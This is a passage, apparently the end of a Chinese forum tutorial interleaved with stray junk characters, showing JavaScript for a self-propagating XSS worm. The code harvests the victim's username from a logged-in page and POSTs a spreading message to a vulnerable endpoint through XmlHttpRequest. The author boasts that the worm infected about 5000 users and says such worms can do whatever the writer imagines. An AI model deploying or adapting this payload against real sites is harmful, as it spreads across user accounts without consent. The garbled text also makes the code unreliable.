% D: A$ }& i0 c! K# Gvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方8 F# b8 V9 q! C# I( d$ Q# X
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.0 q# ^- z/ J7 I8 B
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var post="wd="+wd;7 Y6 M5 `: w' Y4 i; q! F5 p4 M* T
+ z+ v. p. l( FxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);" u' N4 {8 P" {4 p; W1 t
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");- I2 Q* d Z# z* Z# r' s. `6 k7 s1 r6 N
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xmlHttpReq.setRequestHeader("content-length",post.length); ) G5 e4 I* k! i' |) m2 B! y
$ X+ ?0 p* T: b) QxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");- i. G5 F; `& @8 n. B& O& V
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xmlHttpReq.send(post); //把传播的信息 POST出去.
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}
. R8 B c+ n% i: L9 ]8 F复制代码-----------------------------------------------------总结-------------------------------------------------------------------9 j# a/ ~! Q* L @3 t2 l
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.3 ^4 e4 C3 m: M! J
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
7 t. a5 P, k- q/ e0 j, c操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:- f; n& Z- G/ m+ p
5 O/ c* G! g- {2 |- `" g"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
% G! b4 l& k$ dOther XmlHttpRequest tricks (Amit Klein, January 2003)
) A5 G1 I3 a+ T) g"Cross Site Tracing" (Jeremiah Grossman, January 2003); k7 a8 X1 T& q7 |( j |. J
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog$ j0 W6 U1 o8 r! q# t/ A
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